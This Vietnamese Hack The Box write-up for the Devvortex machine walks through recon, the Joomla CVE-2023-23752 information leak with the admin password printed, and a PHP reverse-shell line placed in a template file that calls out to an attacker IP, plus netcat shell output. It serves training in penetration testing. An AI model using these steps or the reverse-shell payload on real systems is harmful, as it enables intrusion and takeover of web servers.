[Write-up] Hackthebox Devvortex. Joomla: Nhiều tiện ích đi cùng với rủi ro bảo mật
Giới thiệu
Nếu directory scan mà không có kết quả gì thì ta sẽ làm gì ? Đây sẽ là câu hỏi khi chúng ta làm bài này. Ngoài ra bài còn giới thiệu cho chúng ta về Joomla, nó cung cấp cho ta khả năng quản lý những nội dung hiển thị trên ứng dụng web, nhưng với những tiện ích mà nó mang lại thì cũng có 1 số điểm hổng mà chúng ta cần xem xét khi thực hiện làm bài này.
1. Recon
Thực hiện Nmap với đầu vào là IP được cấp
┌──(kali㉿kali)-[~]
└─$ sudo nmap -sC -sV 10.10.11.242
[sudo] password for kali:
Starting Nmap 7.92 ( https://nmap.org ) at 2023-12-19 03:08 EST
Nmap scan report for 10.10.11.242
Host is up (0.51s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.9 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA)
| 256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)
|_ 256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://devvortex.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 20.49 seconds
Chúng ta có được 2 cổng dịch đang mở là 22:ssh và 80:http
Thêm tên 10.10.11.242 http://devvortex.htb/
vào /etc/hosts
2. Enum
Thực hiện Directory scan với http://devvortex.htb/
thì không mang lại kết quả ngoài mấy thư mục js, css, không thể truy cập được.
Tiếp theo thực hiện Subdomain scan với ffuf
┌──(kali㉿kali)-[~/aaaa]
└─$ ffuf -c -ic -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u http://devvortex.htb -H "HOST:FUZZ.devvortex.htb" -fs 154
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v1.5.0 Kali Exclusive <3
________________________________________________
:: Method : GET
:: URL : http://devvortex.htb
:: Wordlist : FUZZ: /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
:: Header : Host: FUZZ.devvortex.htb
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,204,301,302,307,401,403,405,500
:: Filter : Response size: 154
________________________________________________
dev [Status: 200, Size: 23221, Words: 5081, Lines: 502, Duration: 100ms]
:: Progress: [4989/4989] :: Job [1/1] :: 263 req/sec :: Duration: [0:00:11] :: Errors: 0 ::
Tìm được subdomain là dev
, thêm dev.devvortex.htb
vào trong /etc/hosts
Thử truy cập vào robots.txt
Sau khi Directory scan thì cũng chỉ được những path như trên robots.txt, truy cập vào những đường dẫn ngoài /administrator
đều bị 404
Truy cập vào /administrator
thì là 1 trang đăng nhập vào trang quản trị của Joomla
Và như vậy biết được Server đang chạy php và CMS Joomla. Thử tìm kiếm tài khoản, mật khẩu mặc định của Joomla nhưng không có tại vì ngày từ khi cài đặt, Joomla bắt quản trị viên phải tạo tài khoản quản trị
Sau khi google thì có thông tin trên Hacktrick biết được với đường dẫn http://dev.devvortex.htb/administrator/manifests/files/joomla.xml có thể biết được version của Joomla
<extension type="file" method="upgrade">
<name>files_joomla</name>
<author>Joomla! Project</author>
<authorEmail>admin@joomla.org</authorEmail>
<authorUrl>www.joomla.org</authorUrl>
<copyright>(C) 2019 Open Source Matters, Inc.</copyright>
<license>
GNU General Public License version 2 or later; see LICENSE.txt
</license>
<version>4.2.6</version>
<creationDate>2022-12</creationDate>
<description>FILES_JOOMLA_XML_DESCRIPTION</description>
<scriptfile>administrator/components/com_admin/script.php</scriptfile>
<update>
<schemas>
<schemapath type="mysql">
administrator/components/com_admin/sql/updates/mysql
</schemapath>
<schemapath type="postgresql">
administrator/components/com_admin/sql/updates/postgresql
</schemapath>
</schemas>
</update>
<fileset>
<files>
<folder>administrator</folder>
<folder>api</folder>
<folder>cache</folder>
<folder>cli</folder>
<folder>components</folder>
<folder>images</folder>
<folder>includes</folder>
<folder>language</folder>
<folder>layouts</folder>
<folder>libraries</folder>
<folder>media</folder>
<folder>modules</folder>
<folder>plugins</folder>
<folder>templates</folder>
<folder>tmp</folder>
<file>htaccess.txt</file>
<file>web.config.txt</file>
<file>LICENSE.txt</file>
<file>README.txt</file>
<file>index.php</file>
</files>
</fileset>
<updateservers>
<server name="Joomla! Core" type="collection">
https://update.joomla.org/core/list.xml
</server>
</updateservers>
</extension>
Ngoài Joomla có phiên bản là 4.2.6, còn cho ta biết thêm về các file như htaccess, web.config.txt,…
3. Exploit
Sau khi google thì phiên bản này dính CVE-2023-23752, lỗi này là lỗi Information Disclosure ở api:
http://dev.devvortex.htb/api/index.php/v1/config/application?public=true cho ta biết được thông tin tài khoản mật khẩu của quản trị viên
Ở đây tên người dùng là lewis
và password là P4ntherg0t1n5r3c0n##
Sau khi truy cập được vào trang quản trị, bắt đầu khai thác bằng cách đi vào System → Templates Sites
Với quyền quản trị viên ta có thể thay đổi các file trong hệ thống. Đầu tiên chúng ta sẽ chọn file /templates/cassiopeia/cassiopeia/error.php
để thực hiện khai thác. Đầu tiên thử thêm phpinfo();
ở đầu file để xem kết quả
Thực hiện kiểm tra bằng cách truy cập vào đường dẫn /templates/cassiopeia/cassiopeia/error.php
.
Như vậy có thể kết luận rằng ta có thể thay đổi code php trên này và nó vẫn sẽ chạy bình thường
Sau đó thực hiện thay phpinfo();
bằng câu lệnh mở kết nối với netcat vào trong file error.php
exec("/bin/bash -c 'bash -i >& /dev/tcp/10.10.14.6/4444 0>&1'");
Sử dụng netcat lắng nghe ở máy local
┌──(kali㉿kali)-[~]
└─$ nc -nlvp 8888
listening on [any] 8888 ...
connect to [10.10.14.74] from (UNKNOWN) [10.10.11.242] 51754
bash: cannot set terminal process group (860): Inappropriate ioctl for device
bash: no job control in this shell
www-data@devvortex:~/dev.devvortex.htb/templates/cassiopeia/cassiopeia$ ls
ls
component.php
error.php
html
index.php
joomla.asset.json
offline.php
templateDetails.xml
www-data@devvortex:~/dev.devvortex.htb/templates/cassiopeia/cassiopeia$
Kết quả thành công
┌──(kali㉿kali)-[~]
└─$ nc -nlvp 8888
listening on [any] 8888 ...
connect to [10.10.14.74] from (UNKNOWN) [10.10.11.242] 47142
bash: cannot set terminal process group (860): Inappropriate ioctl for device
bash: no job control in this shell
www-data@devvortex:~/dev.devvortex.htb/templates/cassiopeia/cassiopeia$ cd /
cd /
www-data@devvortex:/$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
4. Recommendation
Nên thực hiện theo dõi cũng như cập nhật các phần mềm bên thứ 3 ví dụ ở đây là Joomla
All rights reserved